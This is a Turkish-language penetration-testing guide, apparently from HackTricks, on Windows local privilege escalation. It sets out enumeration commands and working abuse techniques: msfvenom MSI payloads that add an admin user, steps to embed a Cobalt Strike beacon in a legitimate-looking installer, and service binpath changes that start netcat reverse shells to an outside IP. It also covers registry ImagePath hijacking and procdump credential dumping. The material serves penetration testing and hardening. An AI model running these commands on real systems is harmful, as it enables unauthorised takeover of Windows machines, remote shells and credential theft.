Windows Local Privilege Escalation

HackTricks'i Destekleyin

Windows yerel yetki yükseltme vektörlerini aramak için en iyi araç: WinPEAS

İlk Windows Teorisi

Erişim Jetonları

Windows Erişim Jetonlarının ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:

Access Tokens

ACL'ler - DACL'ler/SACL'ler/ACE'ler

ACL'ler - DACL'ler/SACL'ler/ACE'ler hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:

ACLs - DACLs/SACLs/ACEs

Bütünlük Seviyeleri

Windows'taki bütünlük seviyelerinin ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okumalısınız:

Integrity Levels

Windows Güvenlik Kontrolleri

Windows'ta sistemi listelemenizi, çalıştırılabilir dosyaları çalıştırmanızı veya hatta etkinliklerinizi tespit etmenizi engelleyebilecek farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki sayfayı okuyun ve tüm bu savunma mekanizmalarını listeleyin:

Windows Security Controls

Sistem Bilgisi

Sürüm bilgisi listeleme

Windows sürümünün bilinen bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Sürüm İstismarları

Bu site, Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlıdır. Bu veritabanında 4,700'den fazla güvenlik açığı bulunmaktadır ve bu, bir Windows ortamının sunduğu büyük saldırı yüzeyini göstermektedir.

Sistemde

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas, watson'ı gömülü olarak içerir)

Sistem bilgileri ile yerel olarak

İstismarların Github depoları:

Ortam

Env değişkenlerinde herhangi bir kimlik bilgisi/juicy bilgi kaydedildi mi?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell Geçmişi

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transkript dosyaları

Bunu nasıl açacağınızı https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ adresinden öğrenebilirsiniz.

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Modül Günlüğü

PowerShell boru hattı yürütmelerinin detayları, yürütülen komutlar, komut çağrıları ve betiklerin parçalarını kapsayacak şekilde kaydedilir. Ancak, tam yürütme detayları ve çıktı sonuçları yakalanmayabilir.

Bunu etkinleştirmek için, belgelerin "Transkript dosyaları" bölümündeki talimatları izleyin ve "Modül Günlüğü" seçeneğini "Powershell Transkripsiyonu" yerine tercih edin.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell günlüklerinden son 15 olayı görüntülemek için şunu çalıştırabilirsiniz:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Bir scriptin yürütülmesinin tam etkinlik ve içerik kaydı tutulur, böylece her kod bloğu çalıştıkça belgelenir. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, bu da adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sağlanır.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block için günlükleme olayları, Windows Olay Görüntüleyici'de şu yolda bulunabilir: Uygulama ve Hizmet Günlükleri > Microsoft > Windows > PowerShell > Operasyonel. Son 20 olayı görüntülemek için şunu kullanabilirsiniz:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

İnternet Ayarları

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Sürücüler

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Eğer güncellemeler http yerine httpS kullanılarak talep edilmiyorsa, sistemi tehlikeye atabilirsiniz.

Aşağıdaki komutu çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol edersiniz:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Eğer şu şekilde bir yanıt alırsanız:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Ve eğer HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer değeri 1 ise.

O zaman, istismar edilebilir. Eğer son kayıt 0 ise, WSUS girişi göz ardı edilecektir.

Bu güvenlik açıklarını istismar etmek için Wsuxploit, pyWSUS gibi araçlar kullanabilirsiniz - Bunlar, SSL olmayan WSUS trafiğine 'sahte' güncellemeler enjekte etmek için MiTM silahlandırılmış istismar betikleridir.

Araştırmayı burada okuyun:

WSUS CVE-2020-1013

Tam raporu burada okuyun. Temelde, bu hatanın istismar ettiği kusur şudur:

Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipseniz ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için PyWSUS kullanma gücüne sahip oluruz.

Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada birinci kullanımda güven türü doğrulama uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, hizmet tarafından kabul edilecektir.

Bu güvenlik açığını WSUSpicious aracıyla istismar edebilirsiniz (serbest bırakıldığında).

KrbRelayUp

Windows domain ortamlarında belirli koşullar altında bir yerel ayrıcalık yükseltme güvenlik açığı bulunmaktadır. Bu koşullar, LDAP imzasının zorunlu olmadığı, kullanıcıların Kaynak Tabanlı Kısıtlı Delegasyon (RBCD) yapılandırmalarına izin veren kendi haklarına sahip olduğu ve kullanıcıların domain içinde bilgisayarlar oluşturma yeteneğine sahip olduğu ortamlardır. Bu gereksinimlerin varsayılan ayarlarla karşılandığını belirtmek önemlidir.

İstismarı burada bulabilirsiniz: https://github.com/Dec0ne/KrbRelayUp

Saldırının akışı hakkında daha fazla bilgi için https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ adresini kontrol edin.

AlwaysInstallElevated

Eğer bu 2 kayıt etkinse (değer 0x1 ise), o zaman herhangi bir ayrıcalığa sahip kullanıcılar *.msi dosyalarını NT AUTHORITY\SYSTEM olarak kurabilir (çalıştırabilir).

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit yükleri

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Eğer bir meterpreter oturumunuz varsa, bu tekniği exploit/windows/local/always_install_elevated modülünü kullanarak otomatikleştirebilirsiniz.

PowerUP

Write-UserAddMSI komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları yükseltmek için bir Windows MSI ikili dosyası oluşturun. Bu betik, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak):

Write-UserAddMSI

Sadece oluşturulan ikili dosyayı çalıştırarak ayrıcalıkları artırın.

MSI Wrapper

Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece komut satırlarını çalıştırmak istiyorsanız, bir ".bat" dosyasını sarmalayabileceğinizi unutmayın.

MSI Wrapper

WIX ile MSI Oluşturma

Create MSI with WIX

Visual Studio ile MSI Oluşturma

  • Cobalt Strike veya Metasploit ile C:\privesc\beacon.exe konumunda yeni bir Windows EXE TCP yükü oluşturun.

  • Visual Studio'yu açın, Yeni bir proje oluştur seçeneğini seçin ve arama kutusuna "installer" yazın. Setup Wizard projesini seçin ve İleri'ye tıklayın.

  • Projeye bir isim verin, örneğin AlwaysPrivesc, konum için C:\privesc kullanın, çözümü ve projeyi aynı dizine yerleştir seçeneğini seçin ve Oluştur'a tıklayın.

  • 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar İleri'ye tıklamaya devam edin. Ekle'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından Tamamla'ya tıklayın.

  • Çözüm Gezgini'nde AlwaysPrivesc projesini vurgulayın ve Özellikler'de TargetPlatformx86'dan x64'e değiştirin.

  • Yüklenen uygulamanın daha meşru görünmesini sağlayacak Yazar ve Üretici gibi değiştirebileceğiniz diğer özellikler de vardır.

  • Projeye sağ tıklayın ve Görüntüle > Özel Eylemler'i seçin.

  • Kurulum'a sağ tıklayın ve Özel Eylem Ekle'yi seçin.

  • Uygulama Klasörü'ne çift tıklayın, beacon.exe dosyanızı seçin ve Tamam'a tıklayın. Bu, yükleyici çalıştırıldığında beacon yükünün hemen çalıştırılmasını sağlayacaktır.

  • Özel Eylem Özellikleri altında Run64Bit'i True olarak değiştirin.

  • Son olarak, oluşturun.

  • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' uyarısı gösteriliyorsa, platformu x64 olarak ayarladığınızdan emin olun.

MSI Kurulumu

Kötü niyetli .msi dosyasının kurulumunu arka planda çalıştırmak için:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Bu güvenlik açığını istismar etmek için şunu kullanabilirsiniz: exploit/windows/local/always_install_elevated

Antivirüs ve Dedektörler

Denetim Ayarları

Bu ayarlar neyin kaydedileceğini belirler, bu yüzden dikkat etmelisiniz.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Olay İletimi, logların nereye gönderildiğini bilmek ilginçtir.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS, yerel Yönetici şifrelerinin yönetimi için tasarlanmıştır ve her şifrenin eşsiz, rastgele ve düzenli olarak güncellenmiş olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılar tarafından erişilebilir, bu da onlara yetkilendirildiklerinde yerel yönetici şifrelerini görüntüleme imkanı tanır.

LAPS

WDigest

Eğer aktifse, düz metin şifreler LSASS (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) içinde saklanır. WDigest hakkında daha fazla bilgi bu sayfada.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Koruması

Windows 8.1 ile birlikte, Microsoft, sistemin güvenliğini artırmak için Güvenlik Otoritesi'nin (LSA) bellek okuma veya kod enjekte etme girişimlerini engellemek amacıyla geliştirilmiş koruma sağladı. LSA Koruması hakkında daha fazla bilgi burada.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard, Windows 10'da tanıtıldı. Amacı, bir cihazda depolanan kimlik bilgilerini pass-the-hash saldırıları gibi tehditlere karşı korumaktır.| Credentials Guard hakkında daha fazla bilgi burada.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Önbellekli Kimlik Bilgileri

Alan kimlik bilgileri, Yerel Güvenlik Otoritesi (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri, kayıtlı bir güvenlik paketi tarafından doğrulandığında, kullanıcı için genellikle alan kimlik bilgileri oluşturulur. Önbellekli Kimlik Bilgileri hakkında daha fazla bilgi burada.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Kullanıcılar ve Gruplar

Kullanıcıları ve Grupları Listele

Ait olduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Ayrıcalıklı gruplar

Eğer ayrıcalıklı bir gruba ait iseniz, ayrıcalıkları artırma imkanınız olabilir. Ayrıcalıklı gruplar hakkında bilgi edinin ve bunları nasıl kötüye kullanabileceğinizi burada öğrenin:

Privileged Groups

Token manipülasyonu

Token nedir hakkında daha fazla bilgi edinin: Windows Tokenleri. Aşağıdaki sayfayı kontrol edin ve ilginç tokenler hakkında bilgi edinin ve bunları nasıl kötüye kullanabileceğinizi öğrenin:

Abusing Tokens

Giriş yapmış kullanıcılar / Oturumlar

qwinsta
klist sessions

Ana klasörler

dir C:\Users
Get-ChildItem C:\Users

Şifre Politikası

net accounts

Panodaki içeriği al

powershell -command "Get-Clipboard"

Çalışan Süreçler

Dosya ve Klasör İzinleri

Öncelikle, süreçleri listelemek sürecin komut satırında şifreleri kontrol edin. Bazı çalıştırılabilir dosyaları üzerine yazıp yazamayacağınızı kontrol edin veya olası DLL Hijacking saldırılarını istismar etmek için ikili klasörün yazma izinlerinizin olup olmadığını kontrol edin:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Her zaman çalışan electron/cef/chromium hata ayıklayıcılarını kontrol edin, bunları ayrıcalıkları artırmak için kötüye kullanabilirsiniz.

Süreçlerin ikili dosyalarının izinlerini kontrol etme

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Süreç ikili dosyalarının klasörlerinin izinlerini kontrol etme (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Bellek Şifre Madenciliği

Çalışan bir sürecin bellek dökümünü procdump kullanarak oluşturabilirsiniz. FTP gibi hizmetler kimlik bilgilerini bellek içinde düz metin olarak saklar, belleği dökün ve kimlik bilgilerini okuyun.

procdump.exe -accepteula -ma <proc_name_tasklist>

Güvensiz GUI uygulamaları

SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD açmasına veya dizinleri gezmesine izin verebilir.

Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemini Açmak İçin Tıklayın" seçeneğine tıklayın

Hizmetler

Hizmetlerin bir listesini alın:

net start
wmic service list brief
sc query
Get-Service

İzinler

Bir servisin bilgilerini almak için sc kullanabilirsiniz.

sc qc <service_name>

Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek üzere Sysinternals'dan accesschk ikili dosyasına sahip olmanız önerilir.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

"Authenticated Users" grubunun herhangi bir hizmeti değiştirip değiştiremeyeceğini kontrol etmeniz önerilir:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

accesschk.exe'yi XP için buradan indirebilirsiniz

Servisi etkinleştir

Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile):

Sistem hatası 1058 oluştu. Hizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için.

Bunu etkinleştirmek için kullanabilirsiniz

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Hizmetin upnphost'un çalışması için SSDPSRV'ye bağımlı olduğunu dikkate alın (XP SP1 için)

Bu sorunun başka bir çözümü:

sc.exe config usosvc start= auto

Servis ikili yolunu değiştir

"Kimlik doğrulanmış kullanıcılar" grubunun bir serviste SERVICE_ALL_ACCESS yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. sc'yi değiştirmek ve çalıştırmak için:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Servisi Yeniden Başlat

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Yetkiler çeşitli izinler aracılığıyla yükseltilebilir:

  • SERVICE_CHANGE_CONFIG: Servis ikili dosyasının yeniden yapılandırılmasına izin verir.

  • WRITE_DAC: İzin yeniden yapılandırmasını etkinleştirir, bu da servis yapılandırmalarını değiştirme yeteneğine yol açar.

  • WRITE_OWNER: Mülkiyet edinimi ve izin yeniden yapılandırmasına izin verir.

  • GENERIC_WRITE: Servis yapılandırmalarını değiştirme yeteneğini devralır.

  • GENERIC_ALL: Ayrıca servis yapılandırmalarını değiştirme yeteneğini devralır.

Bu güvenlik açığının tespiti ve istismarı için, exploit/windows/local/service_permissions kullanılabilir.

Servis ikili dosyalarının zayıf izinleri

Bir servis tarafından yürütülen ikili dosyayı değiştirebilir misiniz veya ikilinin bulunduğu klasörde yazma izinleriniz var mı (DLL Hijacking). Bir servis tarafından yürütülen her ikili dosyayı wmic (system32'de değil) kullanarak alabilir ve izinlerinizi icacls ile kontrol edebilirsiniz:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

sc ve icacls de kullanabilirsiniz:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Hizmetler kayıt izinlerini değiştirme

Herhangi bir hizmet kaydını değiştirebilir misiniz kontrol etmelisiniz. Bir hizmet kaydı üzerindeki izinlerinizi kontrol etmek için:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users veya NT AUTHORITY\INTERACTIVE kullanıcılarının FullControl izinlerine sahip olup olmadığı kontrol edilmelidir. Eğer öyleyse, hizmet tarafından yürütülen ikili dosya değiştirilebilir.

Yürütülen ikilinin Yolunu değiştirmek için:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Hizmetler kayıt AppendData/AddSubdirectory izinleri

Eğer bir kayıt üzerinde bu izne sahipseniz, bu bu kayıttan alt kayıtlar oluşturabileceğiniz anlamına gelir. Windows hizmetleri durumunda bu, rastgele kod çalıştırmak için yeterlidir:

AppendData/AddSubdirectory permission over service registry

Alıntılanmamış Hizmet Yolları

Eğer bir çalıştırılabilir dosyanın yolu tırnak içinde değilse, Windows her boşluktan önceki sonu çalıştırmaya çalışacaktır.

Örneğin, C:\Program Files\Some Folder\Service.exe yolu için Windows şunları çalıştırmaya çalışacaktır:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Listele tüm alıntılanmamış hizmet yollarını, yerleşik Windows hizmetlerine ait olanlar hariç:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Bu zafiyeti tespit edebilir ve istismar edebilirsiniz metasploit ile: exploit/windows/local/trusted\_service\_path Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows, bir hizmet başarısız olduğunda alınacak eylemleri belirtmeye olanak tanır. Bu özellik, bir ikili dosyaya işaret edecek şekilde yapılandırılabilir. Eğer bu ikili dosya değiştirilebilir ise, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntı için resmi belgeleri inceleyebilirsiniz.

Applications

Installed Applications

ikili dosyaların izinlerini kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve klasörlerin (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Yazma İzinleri

Bazı özel dosyaları okumak için bir yapılandırma dosyasını değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin.

Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Başlangıçta Çalıştır

Farklı bir kullanıcı tarafından çalıştırılacak bazı kayıt defteri veya ikili dosyaları üzerine yazıp yazamayacağınızı kontrol edin. Yetki artırımı için ilginç autorun konumları hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı okuyun:

Privilege Escalation with Autoruns

Sürücüler

Olası üçüncü taraf garip/zaafiyetli sürücüleri arayın.

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

Eğer PATH üzerinde bulunan bir klasörde yazma izinleriniz varsa, bir süreç tarafından yüklenen bir DLL'yi ele geçirip yetkileri artırabilirsiniz.

PATH içindeki tüm klasörlerin izinlerini kontrol edin:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Daha fazla bilgi için bu kontrolü nasıl kötüye kullanacağınız hakkında:

Writable Sys Path +Dll Hijacking Privesc

Paylaşımlar

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts dosyası

hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin

type C:\Windows\System32\drivers\etc\hosts

Ağ Arayüzleri & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Açık Portlar

Dışarıdan kısıtlı hizmetleri kontrol edin

netstat -ano #Opened ports?

Yönlendirme Tablosu

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Tablosu

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Kuralları

Firewall ile ilgili komutlar için bu sayfayı kontrol edin (kuralları listele, kurallar oluştur, kapat, kapat...)

Daha fazla ağ enumerasyonu komutları burada

Windows Alt Sistemi için Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe ayrıca C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe konumunda da bulunabilir.

Eğer root kullanıcısı alırsanız, herhangi bir portta dinleyebilirsiniz (ilk kez nc.exe kullanarak bir portta dinlediğinizde, GUI üzerinden nc'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Bash'i kök olarak kolayca başlatmak için --default-user root deneyebilirsiniz.

WSL dosya sistemini C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ klasöründe keşfedebilirsiniz.